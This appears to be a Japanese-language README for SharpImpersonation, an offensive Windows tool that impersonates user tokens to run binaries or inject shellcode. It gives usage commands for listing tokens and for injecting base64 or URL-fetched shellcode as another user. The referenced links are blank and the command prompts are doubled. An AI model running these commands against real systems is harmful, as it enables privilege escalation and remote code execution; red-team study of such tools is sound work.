s3cur3th1ssh1t/sharpimpersonationユーザー偽装ツール - トークンまたはシェルコードインジェクション経由
これは私による学習しながらのプロジェクトです。よく知られた手法を使用して、他の公開ツールと比較していくつかの改善を加えた、単なる別の権限借用ツールを構築しました。コードベースは以下から取得しました：
導入に関するブログ記事はこちらにあります：
PS > PS C:\temp> SharpImpersonation.exe list
PS > PS C:\temp> SharpImpersonation.exe list elevated
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
